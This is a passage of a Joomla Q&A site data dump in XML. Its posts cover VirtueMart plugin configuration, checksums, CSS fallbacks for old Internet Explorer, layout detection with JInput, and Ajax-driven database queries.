FALSE;&#xA;            }&#xA;        }&#xA;        vmdebug('checkConditions ' . $method-&amp;gt;name . ' does not fit');&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    function convert(&amp;amp;$method) {&#xA;&#xA;        //$method-&amp;gt;weight_start = (float) $method-&amp;gt;weight_start;&#xA;        //$method-&amp;gt;weight_stop = (float) $method-&amp;gt;weight_stop;&#xA;        $method-&amp;gt;orderamount_start = (float) $method-&amp;gt;orderamount_start;&#xA;        $method-&amp;gt;orderamount_stop = (float) $method-&amp;gt;orderamount_stop;&#xA;        $method-&amp;gt;zip_start = (int) $method-&amp;gt;zip_start;&#xA;        $method-&amp;gt;zip_stop = (int) $method-&amp;gt;zip_stop;&#xA;        $method-&amp;gt;nbproducts_start = (int) $method-&amp;gt;nbproducts_start;&#xA;        $method-&amp;gt;nbproducts_stop = (int) $method-&amp;gt;nbproducts_stop;&#xA;        $method-&amp;gt;free_shipment = (float) $method-&amp;gt;free_shipment;&#xA;    }&#xA;&#xA;    private function _weightCond($orderWeight, $method) {&#xA;&#xA;        $weight_cond = (($orderWeight &amp;gt;= $method-&amp;gt;weight_start AND $orderWeight &amp;lt;= $method-&amp;gt;weight_stop) OR&#xA;                ($method-&amp;gt;weight_start &amp;lt;= $orderWeight AND $method-&amp;gt;weight_stop === ''));&#xA;&#xA;        return $weight_cond;&#xA;    }&#xA;&#xA;    private function _nbproductsCond($cart, $method) {&#xA;&#xA;        $nbproducts = 0;&#xA;        foreach ($cart-&amp;gt;products as $product) {&#xA;            $nbproducts += $product-&amp;gt;quantity;&#xA;        }&#xA;        if (!isset($method-&amp;gt;nbproducts_start) and !isset($method-&amp;gt;nbproducts_stop)) {&#xA;            return true;&#xA;        }&#xA;        if ($nbproducts) {&#xA;            $nbproducts_cond = ($nbproducts &amp;gt;= $method-&amp;gt;nbproducts_start AND $nbproducts &amp;lt;= $method-&amp;gt;nbproducts_stop OR&#xA;                    ($method-&amp;gt;nbproducts_start &amp;lt;= $nbproducts AND ($method-&amp;gt;nbproducts_stop == 0)));&#xA;        } else {&#xA;            $nbproducts_cond = true;&#xA;        }&#xA;        return $nbproducts_cond;&#xA;    }&#xA;&#xA;    private function _orderamountCond($cart_prices, $method) {&#xA;&#xA;        if (!isset($method-&amp;gt;orderamount_start) AND !isset($method-&amp;gt;orderamount_stop)) {&#xA;            return true;&#xA;        }&#xA;        if ($cart_prices['salesPrice']) {&#xA;            $orderamount_cond = ($cart_prices['salesPrice'] &amp;gt;= $method-&amp;gt;orderamount_start AND $cart_prices['salesPrice'] &amp;lt;= $method-&amp;gt;orderamount_stop OR&#xA;                    ($method-&amp;gt;orderamount_start &amp;lt;= $cart_prices['salesPrice'] AND ($method-&amp;gt;orderamount_stop == 0)));&#xA;        } else {&#xA;            $orderamount_cond = true;&#xA;        }&#xA;&#xA;        return $orderamount_cond;&#xA;    }&#xA;&#xA;    private function _zipCond($zip, $method) {&#xA;&#xA;        $zip = (int) $zip;&#xA;        $zip_cond = true;&#xA;        if (!empty($zip)) {&#xA;&#xA;            if (!empty($method-&amp;gt;zip_start) and !empty($method-&amp;gt;zip_stop)) {&#xA;                $zip_cond = (($zip &amp;gt;= $method-&amp;gt;zip_start AND $zip &amp;lt;= $method-&amp;gt;zip_stop));&#xA;            } else if (!empty($method-&amp;gt;zip_start)) {&#xA;                $zip_cond = ($zip &amp;gt;= $method-&amp;gt;zip_start);&#xA;            } else if (!empty($method-&amp;gt;zip_stop)) {&#xA;                $zip_cond = ($zip &amp;lt;= $method-&amp;gt;zip_stop);&#xA;            }&#xA;        } else if (!empty($method-&amp;gt;zip_start) or !empty($method-&amp;gt;zip_stop)) {&#xA;            $zip_cond = false;&#xA;        }&#xA;&#xA;        return $zip_cond;&#xA;    }&#xA;&#xA;    function plgVmOnStoreInstallShipmentPluginTable($jplugin_id) {&#xA;&#xA;        return $this-&amp;gt;onStoreInstallPluginTable($jplugin_id);&#xA;    }&#xA;&#xA;    public function plgVmOnSelectCheckShipment(VirtueMartCart &amp;amp;$cart) {&#xA;&#xA;        return $this-&amp;gt;OnSelectCheck($cart);&#xA;    }&#xA;&#xA;    public function plgVmDisplayListFEShipment(VirtueMartCart $cart, $selected = 0, &amp;amp;$htmlIn) {&#xA;&#xA;        return $this-&amp;gt;displayListFE($cart, $selected, $htmlIn);&#xA;    }&#xA;&#xA;    public function plgVmOnSelectedCalculatePriceShipment(VirtueMartCart $cart, array &amp;amp;$cart_prices, &amp;amp;$cart_prices_name) {&#xA;&#xA;        return $this-&amp;gt;onSelectedCalculatePrice($cart, $cart_prices, $cart_prices_name);&#xA;    }&#xA;&#xA;&#xA;    function plgVmOnCheckAutomaticSelectedShipment(VirtueMartCart $cart, array $cart_prices = array(), &amp;amp;$shipCounter) {&#xA;&#xA;        if ($shipCounter &amp;gt; 1) {&#xA;            return 0;&#xA;        }&#xA;        return $this-&amp;gt;onCheckAutomaticSelected($cart, $cart_prices, $shipCounter);&#xA;    }&#xA;&#xA;&#xA;    function plgVmonShowOrderPrint($order_number, $method_id) {&#xA;&#xA;        return $this-&amp;gt;onShowOrderPrint($order_number, $method_id);&#xA;    }&#xA;&#xA;       function plgVmDeclarePluginParamsShipment($name, $id, &amp;amp;$data) {&#xA;&#xA;        return $this-&amp;gt;declarePluginParams('shipment', $name, $id, $data);&#xA;    }&#xA;&#xA;    function plgVmDeclarePluginParamsShipmentVM3(&amp;amp;$data) {&#xA;        return $this-&amp;gt;declarePluginParams('shipment', $data);&#xA;    }&#xA;&#xA;    function plgVmSetOnTablePluginParamsShipment($name, $id, &amp;amp;$table) {&#xA;&#xA;        return $this-&amp;gt;setOnTablePluginParams($name, $id, $table);&#xA;    }&#xA;&#xA;    function plgVmGetTablePluginParams($psType, $name, $id, &amp;amp;$xParams, &amp;amp;$varsToPush) {&#xA;        return $this-&amp;gt;getTablePluginParams($psType, $name, $id, $xParams, $varsToPush);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have removed some function because of the length of the file&#xA;Please help me in this.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3832" LastEditorUserId="126" LastEditDate="2016-01-21T23:18:58.070" LastActivityDate="2016-01-21T23:18:58.070" Title="Config field of plugin is not showing Joomla 3.3" Tags="|joomla-3.x|plugin|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9007" PostTypeId="2" ParentId="9006" CreationDate="2015-03-11T10:26:24.247" Score="1" Body="&lt;p&gt;You need to change the config tags from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;vmconfig&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As this is what Joomla uses. The tags you are currently using must be something for VirtueMarts' own extensions, but seeing as yours is 3rd party, they won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're also missing the &lt;code&gt;name&lt;/code&gt; on the &lt;code&gt;fields&lt;/code&gt; tag and the actual &lt;code&gt;fieldset&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/administrator/components/com_virtuemart/elements&quot;&amp;gt;&#xA;&#xA;            &amp;lt;field name=&quot;fedex_account_number&quot; type=&quot;text&quot; label=&quot;FedEx account number&quot; /&amp;gt;&#xA;            // REST OF FIELDS&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also be using &lt;code&gt;addfieldpath&lt;/code&gt; instead of &lt;code&gt;addpath&lt;/code&gt; and applying it to your fieldset.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-11T10:32:47.973" LastActivityDate="2015-03-11T10:32:47.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostTypeId="2" ParentId="4953" CreationDate="2015-03-11T12:10:17.413" Score="4" Body="&lt;p&gt;If you are not looking at creating your own plugin, a simple solution would be to try:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Unset in Template&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//JS&#xA;unset($doc-&amp;gt;_scripts[$this-&amp;gt;baseurl.'/media/jui/js/bootstrap.min.js']);&#xA;// CSS    &#xA;unset($doc-&amp;gt;_stylesheets[$this-&amp;gt;baseurl.'/media/jui/js/bootstrap.css']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However - some extensions still insert the js or css even if you remove it. The most reliable way I have discovered is with: &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;JCC - JS CSS Control Plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/js-css-control&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/core-enhancements/performance/js-css-control&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - you will still have sometimes have js inline still inserted in your template.So - sometimes you will need to do preg_replace for the inline js.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-03-11T12:10:17.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9010" PostTypeId="2" ParentId="8953" CreationDate="2015-03-11T12:47:21.910" Score="3" Body="&lt;p&gt;JRoute is not reliable on the backend.  Your approach may work on a simple install, but if you have a third-party SEF plugin, or even some slightly unorhodox routing in third-party components, this will fail miserably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I won't answer how to get rid of the 500 error. But propose an alternative solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a popular SEF extension, ACEsef if I remember correctly, they used the simplest and most effective approach: make an ajax call to a frontend component (or plugin, your choice) and let it run JRoute from the &lt;em&gt;real&lt;/em&gt; frontend.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2015-03-11T12:47:21.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9011" PostTypeId="2" ParentId="8999" CreationDate="2015-03-11T12:52:42.987" Score="1" Body="&lt;p&gt;&lt;code&gt;com_checkin&lt;/code&gt; is a special component which allows user to check in all items in all components, clear the cache and purge the expired cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you authenticate a user against &lt;code&gt;com_checkin&lt;/code&gt; you are making sure that this user has right to check in this item (if he has &lt;code&gt;manage&lt;/code&gt; rights then he can check in any items).&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-11T12:52:42.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9012" PostTypeId="1" AcceptedAnswerId="9014" CreationDate="2015-03-11T18:06:36.353" Score="2" ViewCount="109" Body="&lt;p&gt;I've noticed when I go to download modules from some extension providers that they include the SHA-1 Signature, for example&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Module Example v1.2.1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;File size: 34.18 Kb &#xA;  SHA1 Signature: c7a8ffa0503bb59320ef40c1f559e4fa36fb2092&#xA;  Compatibility: Joomla 3.0 &#xA;  |Download now| |Direct Link|&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the 'SHA1 Signature' - how is it used by the extension developers and/or the Joomla! CMS?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="9471" LastEditDate="2018-06-11T11:39:08.123" LastActivityDate="2022-02-11T17:38:46.720" Title="What is the SHA-1 Signature used for in modules?" Tags="|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostTypeId="1" AcceptedAnswerId="9020" CreationDate="2015-03-11T18:36:54.607" Score="1" ViewCount="181" Body="&lt;p&gt;I have built a Joomla website (&lt;a href=&quot;http://www.apnae.org&quot; rel=&quot;nofollow&quot;&gt;http://www.apnae.org&lt;/a&gt;) that looks good on Chrome/Firefox but its background disappears on Explorer. Can anyone help on solving it? &#xA;Thanks! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dani &lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2015-03-11T22:34:46.927" Title="Why background disappears in Internet Explorer" Tags="|joomla-3.x|joomla-3.4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="2" ParentId="9012" CreationDate="2015-03-11T18:40:28.763" Score="3" Body="&lt;p&gt;The number is a hash value or a &lt;strong&gt;Checksum&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hash value processed on the downloaded file is a way to make sure that the content is transferred OK and has not been damaged during the download process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is SHA?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SHA stands for &quot;secure hash algorithm&quot;. The four SHA algorithms are&#xA;  structured differently and are named SHA-0, SHA-1, SHA-2, and SHA-3.&#xA;  SHA-0 is the original version of the 160-bit hash function published&#xA;  in 1993 under the name &quot;SHA&quot;: it was not adopted by many applications.&#xA;  Published in 1995, SHA-1 is very similar to SHA-0, but alters the&#xA;  original SHA hash specification to correct alleged weaknesses. SHA-2,&#xA;  published in 2001, is significantly different from the SHA-1 hash&#xA;  function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-1&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it's a &quot;fingerprint&quot; or a &lt;em&gt;checksum&lt;/em&gt; of the file, and the purpose is to allow a user to make sure the original, unaltered file has been downloaded. This helps avoid corrupt downloads, and files modified by third parties. There are many algorithms to generate a checksum, and SHA1 is only one of them (MD5 is another common variant).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A unique number (often called checksum) is generated based on the file contents. The end user can pass the downloaded file through a program to get the checksum, and if the file is identical to the original file, the checksum will also be the same. Even the smallest change to the file will give a different checksum. Note that different algorithms will produce different checksums, you can't compare a MD5 checksum or a SHA2 checksum with a SHA1 checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/SHA-1&quot; rel=&quot;nofollow&quot;&gt;SHA1 on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Checksum&quot; rel=&quot;nofollow&quot;&gt;Checksum on Wikipedia&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-11T18:40:28.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9016" PostTypeId="2" ParentId="9013" CreationDate="2015-03-11T19:45:46.917" Score="1" Body="&lt;p&gt;As far as I can see the site works fine in IE 9+, but in IE 8 the light blue background behind the content seems to disappear. It's not actually gone, but the image background is placed above it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I only tested this in IE11 by emulating IE8, so it might not be acurate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to have something to do with the use of &lt;strong&gt;&lt;a href=&quot;http://css3pie.com/&quot; rel=&quot;nofollow&quot;&gt;pie.htc&lt;/a&gt;&lt;/strong&gt;. Try removing the following from your template and see if it makes any difference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if lte IE 8]&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;#wrapper &amp;gt; div.inner,#nav1 &amp;gt; div.inner,#left &amp;gt; div.inner,#center &amp;gt; div.inner,#content &amp;gt; div.inner { behavior: url(/templates/apnae/pie.htc) }&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that IE8 don't support transparent backgrounds using RGBA).&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-11T19:45:46.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="1" AcceptedAnswerId="9019" CreationDate="2015-03-11T21:07:31.570" Score="3" ViewCount="1777" Body="&lt;p&gt;I have a shop setup using J2Store, which sets up products as articles. On the main layout I use the Category Blog layout.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have customised the addtocart.php file to add a View Product Information button. This button takes the user to the article page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that on the article page the same addtocart.php file is used. So I would like a way to only show the button if I am on the category blog layout. Is there a way I can determine what page/layout I am on wether to show the button or not?&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2016-01-27T12:59:02.010" Title="Determining if on a Category Blog page or Article page" Tags="|joomla-3.x|articles|category|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9018" PostTypeId="1" CreationDate="2015-03-11T22:01:10.227" Score="3" ViewCount="1348" Body="&lt;p&gt;The easiest way to see my problem is to check this site with SSL:&#xA;&lt;a href=&quot;https://www.rekuperatory.pl/zapytanie-ofertowe&quot; rel=&quot;nofollow&quot;&gt;https://www.rekuperatory.pl/zapytanie-ofertowe&lt;/a&gt;&#xA;on two browsers, one being Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, it loads correctly in Chrome, IE, Opera, but in Firefox it fails to load CSS files. There's no issue when visiting the site via HTTP:&#xA;&lt;a href=&quot;http://www.rekuperatory.pl/zapytanie-ofertowe&quot; rel=&quot;nofollow&quot;&gt;http://www.rekuperatory.pl/zapytanie-ofertowe&lt;/a&gt; - it loads just fine on every browser including Firefox. The problem is only with Firefox, only via HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I contacted hosting provider, they assured me, that everything is all right with SSL Certificate and the problem must be in linking files. But I don't see how may I change this. My stylesheet files are added like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;$doc = JFactory::getDocument();    &#xA;$doc-&amp;gt;addStyleSheet($this-&amp;gt;baseurl . '/templates/' . $this-&amp;gt;template . '/css/default.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The funny thing is that when I run JCH Optimize, CSS files from template start working, but unfortunatelly the ones from custom modules don't. In modules there is slighly different way of adding CSS files. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;addStyleSheet( JURI::root(true) . '/modules/mod_mapa/css/style.css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! 3.4 but the problem was first seen on 3.2&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2015-03-11T22:01:10.227" Title="Joomla! fails to load CSS files when running on Firefox with SSL" Tags="|templates|css|ssl|" AnswerCount="0" CommentCount="9" FavoriteCount="0" ClosedDate="2015-04-06T19:31:24.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="2" ParentId="9017" CreationDate="2015-03-11T22:29:40.307" Score="7" Body="&lt;p&gt;You're going to want to use JInput for this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$option = $jinput-&amp;gt;getCmd('option'); // This gets the component&#xA;$view   = $jinput-&amp;gt;getCmd('view');   // This gets the view&#xA;$layout = $jinput-&amp;gt;getCmd('layout'); // This gets the view's layout&#xA;&#xA;if ($option == 'com_content' &amp;amp;&amp;amp; $view == 'category' &amp;amp;&amp;amp; $layout == 'blog')&#xA;{&#xA;    // Show your button here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-11T22:29:40.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9020" PostTypeId="2" ParentId="9013" CreationDate="2015-03-11T22:34:46.927" Score="1" Body="&lt;p&gt;The problem being is that you're using &lt;code&gt;rgba&lt;/code&gt; for your background which is &lt;strong&gt;not&lt;/strong&gt; supported by IE8. You need to add a fallback in your CSS to cater for it, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#wrapper &amp;gt; div.inner {&#xA;    background: rgb(154, 179, 255);&#xA;    background: rgba(154, 179, 255, 0.75);&#xA;    font-family: &quot;Open Sans&quot;;&#xA;    font-size: 14px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the current code you have in the following file on line &lt;strong&gt;213&lt;/strong&gt; with the above code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/apnae/css/template.css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will also need to add a fallback for the sidebar background on line &lt;strong&gt;436&lt;/strong&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#left &amp;gt; div.inner {&#xA;    background: rgb(77, 121, 255);&#xA;    background: rgba(77, 121, 255, 0.5);&#xA;    border-radius: 10px;&#xA;    font-size: 14px;&#xA;    line-height: 20px;&#xA;    margin-right: 10px;&#xA;    padding: 10px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-11T22:34:46.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9021" PostTypeId="1" CreationDate="2015-03-11T23:21:41.463" Score="5" ViewCount="1220" Body="&lt;p&gt;I am currently working on a Joomla website on a Unix server. There are no users connected at the moment because I'm the only one who can access it (so no heavy traffic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During testing, I proceed to make several MySQL &lt;code&gt;INSERT&lt;/code&gt;s or &lt;code&gt;UPDATE&lt;/code&gt;s on a table in my DB. When the Ajax is triggered, data is sent to a php file which connects using &lt;code&gt;jFactory::getDBO()&lt;/code&gt;, executes a query, and returns a success response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works perfectly, until I run several tests in rapid succession.  After a while, even though I still get a success response in Ajax, there are no affected rows (not on this table, not on any other table).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's like MySQL blocks all the connections (and yet I don't get any error message). I tried opening a different browser and magically the queries execute perfectly/successfully from there. I think I also noticed that it starts working again when I close the original browser and open it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could the issue be? And how can I solve it? I was looking for a way to close the &lt;code&gt;getDBO()&lt;/code&gt; connections after each query, but all I found online is that on a Unix server, this type of connection is automatically closed after each query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the Ajax Call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.ajax({&#xA;          type:&quot;POST&quot;,&#xA;          url:&quot;/models/ajax.php&quot;,&#xA;          data:{&quot;sid&quot;:sid, &quot;steid&quot;:steid, &quot;answer&quot;:answer,   &quot;function_to_call&quot;:21},&#xA;          dataType: &quot;json&quot;,&#xA;          cache: false,&#xA;          success: function(data){&#xA;              console.log(JSON.stringify(data));&#xA;          },&#xA;          error: function(msg){&#xA;            console.log(JSON.stringify(msg));   &#xA;          }     &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how the insert/updates are performed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($step) &amp;amp;&amp;amp; !empty($step) &amp;amp;&amp;amp; trim($step) != &quot;&quot;){&#xA;&#xA;  $sql = &quot;UPDATE #__thamatho_student_mistakes SET   &#xA;  date_mistake='&quot;.$date.&quot;', answer='&quot;.addslashes($answer).&quot;' WHERE &#xA;  student=&quot;.$userid.&quot; and step=&quot;.$steid;&#xA;  $db-&amp;gt;setQuery($sql);&#xA;  $db-&amp;gt;query();&#xA;&#xA;}else{  &#xA;&#xA;  $sql = &quot;Insert into #__thamatho_student_mistakes (`student`, &#xA;  `step`, `answer`, `date_mistake`) values (&quot;.$userid.&quot;, &quot;.$steid.&quot;, &#xA;  '&quot;.addslashes($answer).&quot;', '&quot;.$date.&quot;')&quot;;&#xA;  $db-&amp;gt;setQuery($sql);&#xA;  $db-&amp;gt;query();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3863" LastEditorUserId="12352" LastEditDate="2018-06-21T08:11:13.073" LastActivityDate="2018-06-21T08:11:13.073" Title="Rapid Ajax calls causing some MySQL queries to be ignored" Tags="|php|mysql|ajax|cache|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9022" PostTypeId="2" ParentId="9005" CreationDate="2015-03-12T08:31:11.400" Score="1" Body="&lt;p&gt;My honest mistake. I was executing the wrong task which calls the model function that adds \' in the variable's value.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-03-12T08:31:11.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="1" AcceptedAnswerId="9025" CreationDate="2015-03-12T08:43:27.240" Score="0" ViewCount="217" Body="&lt;p&gt;I'm developing a simple component for eg. &quot;Article Files&quot; component and its models are &quot;Article&quot; and &quot;Article Files&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i'm creating a menu item for my component for frontend and selecting a Single Article I can't select a specific item instead the component URL is on the textbox. see the attached image. &#xA;How I can fix this? I want something like the &quot;Articles&quot; built in Joomla whereis you can select a specific article and display it in the frontend.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jOgiC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-03-12T09:24:19.097" Title="Menu Item - Single Article for my Component NOT WORKING" Tags="|component|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="2" ParentId="9023" CreationDate="2015-03-12T08:54:58.153" Score="0" Body="&lt;p&gt;There is a field named &lt;strong&gt;modal_article&lt;/strong&gt; available in the com_content component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use that field in your xml file for article selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for this field is available at  &lt;code&gt;administrator/components/com_content/models/fields&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can take reference from single article menu xml for the usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer file at  &lt;code&gt;Joomla-root/components/com_content/views/article/tmpl/default.xml&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="396" LastEditDate="2015-03-12T09:24:19.097" LastActivityDate="2015-03-12T09:24:19.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9026" PostTypeId="2" ParentId="9021" CreationDate="2015-03-12T10:38:41.857" Score="1" Body="&lt;p&gt;Probably the browser gets a response from the browser cache, try to add a time variable to the link or otherwise disable the cache&lt;/p&gt;&#xA;" OwnerUserId="3844" LastActivityDate="2015-03-12T10:38:41.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9027" PostTypeId="1" CreationDate="2015-03-12T10:47:52.090" Score="0" ViewCount="21" Body="&lt;p&gt;I have a web (&lt;a href=&quot;http://www.apnae.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.apnae.org&lt;/a&gt;) which works fine in some screens but not in squared ones (see image):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IMIwE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve it?&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dani&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2015-03-12T10:56:42.340" Title="Why web goes screwed in sqared screens?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
